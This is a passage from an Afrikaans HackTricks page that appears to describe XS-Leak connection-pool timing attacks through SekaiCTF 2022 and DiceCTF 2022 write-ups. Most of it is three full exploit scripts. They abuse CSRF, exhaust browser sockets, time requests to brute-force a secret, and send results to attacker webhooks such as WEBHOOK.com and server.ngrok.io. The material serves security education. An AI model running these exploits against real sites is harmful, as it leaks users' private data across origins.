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https://github.com/carlospolop/hacktricks
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521 lines
16 KiB
Markdown
521 lines
16 KiB
Markdown
# Verbindingspoel Voorbeelde
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<details>
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<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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Ander maniere om HackTricks te ondersteun:
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* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
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* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Deel jou hacktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
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</details>
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## Sekaictf2022 - safelist
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In die [**Sekaictf2022 - safelist**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/safelist/solution) uitdaging, gee [**@Strellic\_**](https://twitter.com/Strellic\_) 'n voorbeeld van hoe om 'n **variasie** van die **Verbindingspoel**-tegniek te gebruik om 'n **XS-Leak** uit te voer.
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In hierdie uitdaging is die doel om 'n vlag te eksfiltreer wat in die bots web-sessie binne 'n pos sal verskyn. Hier is die bates wat die aanvaller het:
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* Die **bot** sal 'n **URL** besoek wat deur die aanvaller gegee word
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* Die aanvaller kan **HTML inspuit** in die bladsy (maar geen JS nie, dompurify word gebruik) deur 'n **CSRF** te misbruik om die **bot 'n pos** met daardie HTML te laat skep.
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* Die aanvaller kan 'n CSRF misbruik om die **bot** die **eerste pos** in die web te **verwyder**.
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* Omdat die **pos** **alfabeties** georden is, as die **eerste pos verwyder** word, beteken dit dat as die HTML-inhoud van die aanvaller **gelaai** word, dit **alfabeties voor die vlag** was.
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Om die vlag te steel, is die oplossing wat deur @Strellyc\_ voorgestel word, om vir elke karakter wat getoets moet word, die bot te laat:
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* Skep 'n **nuwe pos** wat begin met die bekende deel van die **vlag** en verskeie **img**-laaiings.
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* **Verwyder** die **pos** op posisie **0**.
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* Blokkeer 255 sokkels.
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* Laai die bladsy met die poste
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* Voer 5 lukrake versoek na 'n webwerf uit (example.com in hierdie geval) en meet die tyd wat dit neem.
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{% hint style="warning" %}
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As die **verwyderde** pos die **vlag** was, beteken dit dat al die **ingespuitde** **afbeeldings** in die HTML gaan **stry** met die **5 lukrake versoek** vir daardie **ongeblokeerde** sokkel. Dit beteken dat die gemeetde tyd groter sal wees as die ander scenario.
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As die **verwyderde** pos die **HTML** was, sal die **5 lukrake versoek** **vinniger** wees omdat hulle nie hoef te stry vir daardie sokkel met die ingespuitde HTML nie.
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{% endhint %}
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### Exploit 1
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Hierdie is die uitbuitingskode, geneem vanaf [https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html](https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html):
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```html
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<!-- Form to inject HTML code in the bots page -->
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<form method="POST" action="https://safelist.ctf.sekai.team/create" id="create" target="_blank">
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<input type="text" name="text" />
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<input type="submit" />
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</form>
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<!-- Form to delete the first entry -->
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<form method="POST" action="https://safelist.ctf.sekai.team/remove" id="remove" target="_blank">
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<input type="text" name="index" value="0" />
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<input type="submit" />
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</form>
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<script>
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// Attacker listening
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const WEBHOOK = "https://WEBHOOK.com/";
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// Send data to attacker
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const log = (id, data) => {
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let payload = JSON.stringify({ known, alphabet, data });
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console.log(id, payload);
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navigator.sendBeacon(WEBHOOK + "?" + id, payload);
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}
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// Similar to JQuery
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const $ = document.querySelector.bind(document);
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// Known part of the flag
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const known = "SEKAI{";
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let alphabet = "_abcdefghijklmnopqrstuvwxyz}";
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// Reduce the alphabet using a hash (#) in the URL
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if (location.hash) {
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alphabet = alphabet.slice(alphabet.indexOf(location.hash.slice(1)));
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}
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// Funtion to leak chars
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const leak = async (c) => {
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// Prepare post with known flag and the new char
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let payload = `${known + c}`;
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// Inject as many <img as possible
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// you need to respect the CSP and create URLs that are different
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for(let i = 0; payload.length < 2048; i++) {
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payload += `<img src=js/purify.js?${i.toString(36)}>`;
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}
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// Inject HTML
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$("#create input[type=text]").value = payload;
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$("#create").submit();
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await new Promise(r => setTimeout(r, 1000));
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// Remove post with index 0
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$("#remove").submit();
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await new Promise(r => setTimeout(r, 500));
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let deltas = [];
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// Try each char 3 times
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for (let i = 0; i < 3; i++) {
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const SOCKET_LIMIT = 255;
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// you will need a custom server that works like num.sleepserver.com/sleep/delay
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// needed to freeze the blocked sockets, and they have to all be on different origins
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// Check https://www.npmjs.com/package/sleep-server using subdomains DNS wildcard
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const SLEEP_SERVER = i => `http://${i}.sleepserver.com/sleep/60`;
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const block = async (i, controller) => {
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try {
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return fetch(SLEEP_SERVER(i), { mode: "no-cors", signal: controller.signal });
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}
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catch(err) {}
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};
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// block SOCKET_LIMIT sockets
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const controller = new AbortController();
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for (let i = 0; i < SOCKET_LIMIT; i++) {
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block(i, controller);
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}
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// Make the bot access the page with the posts
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window.open("https://safelist.ctf.sekai.team/?" + Math.random().toString(36).slice(2), "pwn");
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await new Promise(r => setTimeout(r, 500));
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// start meassuring time to perform 5 requests
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let start = performance.now();
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await Promise.all([
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fetch("https://example.com", { mode: "no-cors" }),
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fetch("https://example.com", { mode: "no-cors" }),
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fetch("https://example.com", { mode: "no-cors" }),
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fetch("https://example.com", { mode: "no-cors" }),
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fetch("https://example.com", { mode: "no-cors" })
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]);
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let delta = performance.now() - start;
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document.title = delta;
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controller.abort();
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log("test_" + c + "_" + i, delta);
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// Save time needed
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deltas.push(delta);
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}
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return deltas;
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};
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// Check each char
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const pwn = async () => {
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// Try to leak each character
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for(let i = 0; i < alphabet.length; i++) {
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//Check the indicated char
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let deltas = await leak(alphabet[i]);
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// Calculate mean time from requests to example.com
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let avg = deltas.reduce((a,v) => a+v, 0) / deltas.length;
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// If greater than 250, the HTML code was injected (flag in index 0)
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if (avg > 250) {
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log("tests_pos_" + alphabet[i], deltas)
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}
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// Flag in the page
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else {
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log("tests_neg_" + alphabet[i], deltas)
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}
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}
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};
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window.onload = async () => {
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pwn();
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};
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</script>
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```
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### Uitbuiting 2
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Dieselfde taktiek maar verskillende kode vanaf [https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/](https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/)
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```html
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<!DOCTYPE html>
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<html>
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<!--
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The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs main thread.
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If images are loading, the request to "/" is slower, otherwise faster.
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By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
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We can use fetch to measure the request time.
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-->
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<body>
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<button onclick="run()">start</button>
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<form id=f action="http://localhost:1234/create" method="POST" target="_blank">
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<input id=inp name="text" value="">
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</form>
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<form id=f2 action="http://localhost:1234/remove" method="POST" target="_blank">
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<input id=inp2 name="index" value="">
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</form>
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<script>
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let flag = 'SEKAI{'
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const TARGET = 'https://safelist.ctf.sekai.team'
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f.action = TARGET + '/create'
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f2.action = TARGET + '/remove'
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const sleep = ms => new Promise(r => setTimeout(r, ms))
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const send = data => fetch('http://server.ngrok.io?d='+data)
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const charset = 'abcdefghijklmnopqrstuvwxyz'.split('')
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// start exploit
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let count = 0
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setTimeout(async () => {
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let L = 0
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let R = charset.length - 1
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while( (R-L)>3 ) {
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let M = Math.floor((L + R) / 2)
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let c = charset[M]
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send('try_' + flag + c)
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const found = await testChar(flag + c)
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if (found) {
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L = M
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} else {
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R = M - 1
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}
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}
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// fallback to linear since I am not familiar with binary search lol
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for(let i=R; i>=L; i--) {
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let c = charset[i]
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send('try_' + flag + c)
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const found = await testChar(flag + c)
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if (found) {
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send('found: '+ flag+c)
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flag += c
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break
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}
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}
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}, 0)
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async function testChar(str) {
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return new Promise(resolve => {
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/*
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For 3350, you need to test it on your local to get this number.
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The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
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If starts with "A", the image should be loaded because it's in the threshold.
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*/
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inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
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f.submit()
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setTimeout(() => {
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run(str, resolve)
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}, 500)
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})
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}
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async function run(str, resolve) {
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// if the request is not enough, we can send more by opening more window
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for(let i=1; i<=5;i++) {
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window.open(TARGET)
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}
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let t = 0
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const round = 30
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setTimeout(async () => {
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for(let i=0; i<round; i++) {
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let s = performance.now()
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await fetch(TARGET + '/?test', {
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mode: 'no-cors'
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}).catch(err=>1)
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let end = performance.now()
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t += end - s
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console.log(end - s)
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}
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const avg = t/round
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send(str + "," + t + "," + "avg:" + avg)
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/*
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I get this threshold(1000ms) by trying multiple times on remote admin bot
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for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
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*/
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const isFound = (t >= 1000)
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if (isFound) {
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inp2.value = "0"
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} else {
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inp2.value = "1"
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}
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// remember to delete the post to not break our leak oracle
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f2.submit()
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setTimeout(() => {
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resolve(isFound)
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}, 200)
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}, 200)
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}
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</script>
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</body>
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</html>
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```
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## DiceCTF 2022 - wortel
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In hierdie geval was die eerste stap van die uitbuiting om 'n CSRF te misbruik om die bladsy waar die vlag bevat word te wysig sodat dit **veel meer inhoud** het (en dit neem dus langer om te laai), en dan **die verbindingspoel misbruik om die tyd te meet wat dit neem om toegang tot die bladsy te verkry** wat moontlik die vlag kan bevat.
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In die uitbuiting kan jy sien:
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* Misbruik CSRF
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* Beset al die sokkels behalwe een
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* Kalibreer die respons
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* Begin bruteforce deur toegang te verkry tot die potensiële bladsy met die vlag
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* Die potensiële bladsy sal toegang verkry word en onmiddellik sal 'n aanvallersbeheerde URL ook toegang verkry word om te kyk hoeveel tyd beide versoek neem.
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```html
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<h1>DiceCTF 2022 web/carrot</h1>
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<p>Step 1: CSRF the admin user, to set a super long title for the flag note (LAX + POST form only possible for 2 minutes after cookies is created)</p>
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<button onclick="csrf()">do csrf</button>
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<p>Step 2: XS-Search with <a href="https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/">connection-pool timing leak</a>, we have to use window.open (LAX cookie)</p>
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<button onclick="popunder()">open popup</button>
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<button onclick="exhaust_sockets()">open 255 connections</button>
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<button onclick="oracle('dice{abc')">test search "abc" (slow)</button>
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<button onclick="oracle('dice{xxx')">test search "xxx" (fast)</button>
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<br>
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<br>
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<h2 id=output></h2>
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<br>
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<form id=x action="" method="POST" style="display:none;">
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<input type="text" name="title" placeholder="title">
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<br><br>
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<input type="number" name="priority" placeholder="priority" value=9999>
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<br><br>
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<textarea name="content" placeholder="content" rows="5" cols="20"></textarea>
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<br><br>
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<input type="submit" value="submit">
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</form>
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<script>
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// this is send is used as logging
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LOG = 'Starting'
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// 255 in normal chrome, 99 in headless
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SOCKETLIMIT = 255;
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// default
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TIMELIMIT = 800;
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INSTANCE = ''
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MYSERVER = `example.com`
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const sleep = (ms) => {
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return new Promise(resolve => {
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setTimeout(resolve, ms);
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});
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}
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const time_fetch = async() => {
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let test_server_url = `https://${MYSERVER}/?${LOG}`;
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let start = window.performance.now();
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try {
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await fetch(test_server_url, {
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mode: 'no-cors'
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});
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} catch (e) {
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console.log(e);
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}
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let end = window.performance.now();
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return end - start;
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}
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const fetch_sleep_long = (i) => {
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// 40s sleep
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return fetch(`https://${i}.${MYSERVER}/40sleep`, {
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mode: 'no-cors'
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});
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}
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const fetch_sleep_short = (i) => {
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// 0.25s sleep
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return fetch(`https://${i}.${MYSERVER}/ssleep`, {
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mode: 'no-cors'
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});
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}
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const block_socket = async (i) => {
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fetch_sleep_long(i);
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// needed?
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await sleep(0);
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}
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const exhaust_sockets = async() => {
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let i = 0
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for (; i < SOCKETLIMIT; i++) {
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block_socket(i);
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}
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console.log(`Used ${i} connections`);
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}
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const timeit = async (url, popup) => {
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return new Promise(async (r) => {
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popup.location = url;
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// needed?
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await sleep(50)
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let val = await time_fetch()
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r(val)
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});
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}
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// const alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ-}!"#$%&\'()*+,-./:;<=>?@[\\]^`|~{'.split('');
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const alphabet = 'abcdefghijklmnopqrstuvwxyz}_'.split('');
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// const alphabet = 'abcdef}'.split('');
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const oracle = async (search) => {
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let url = `https://carrot-${INSTANCE}.mc.ax/tasks?search=${search}`
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let t = await timeit(url, WINBG)
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LOG = `${search}:${t}`
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console.log(`${search}:${t}`)
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return t > TIMELIMIT
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}
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const brute = async (flag) => {
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for (const char of alphabet) {
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if (await oracle(flag + char)) {
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return char;
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}
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}
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return false;
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}
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const calibrate = async () => {
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return new Promise(async (r) => {
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// slow
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let url1 = `https://carrot-${INSTANCE}.mc.ax/tasks?search=dice{`
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let t1 = await timeit(url1, WINBG)
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console.log(`slow:${t1}`)
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// fast
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let url2 = `https://carrot-${INSTANCE}.mc.ax/tasks?search=XXXXXXXXXX`
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let t2 = await timeit(url2, WINBG)
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console.log(`fast:${t2}`)
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return r((t1 + t2) / 2)
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});
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}
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const exploit = async(flag = '') => {
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console.log('Starting')
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// dont go to fast plz :)
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console.log(`waiting 3s`)
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await sleep(3000)
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// exaust sockets
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await exhaust_sockets()
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await sleep(2000)
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LOG = `Calibrating`
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TIMELIMIT = await calibrate()
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LOG = `TIMELIMIT:${TIMELIMIT}`
|
|
console.log(`timelimit:${TIMELIMIT}`)
|
|
await sleep(2000)
|
|
let last;
|
|
while (true) {
|
|
last = await brute(flag);
|
|
if (last === false) {
|
|
return flag;
|
|
}
|
|
else {
|
|
flag += last;
|
|
output.innerText = flag;
|
|
if(last === '}'){
|
|
return flag
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
const popunder = () => {
|
|
if (window.opener) {
|
|
WINBG = window.opener
|
|
}
|
|
else {
|
|
WINBG = window.open(location.href, target="_blank")
|
|
location = `about:blank`
|
|
}
|
|
}
|
|
|
|
const csrf = async () => {
|
|
x.action = `https://carrot-${INSTANCE}.mc.ax/edit/0`
|
|
x.title.value = "A".repeat(1000000)
|
|
x.submit()
|
|
}
|
|
|
|
window.onload = () => {
|
|
let p = new URL(location).searchParams;
|
|
if(!p.has('i')){
|
|
console.log(`no INSTANCE`)
|
|
return
|
|
}
|
|
INSTANCE = p.get('i')
|
|
// step 1
|
|
if(p.has('csrf')){
|
|
csrf()
|
|
return
|
|
}
|
|
// step 2
|
|
if (p.has('exploit')) {
|
|
// window open is ok in headless :)
|
|
popunder()
|
|
|
|
exploit('dice{')
|
|
}
|
|
}
|
|
</script>
|
|
```
|
|
<details>
|
|
|
|
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Ander maniere om HackTricks te ondersteun:
|
|
|
|
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
|
|
|
</details>
|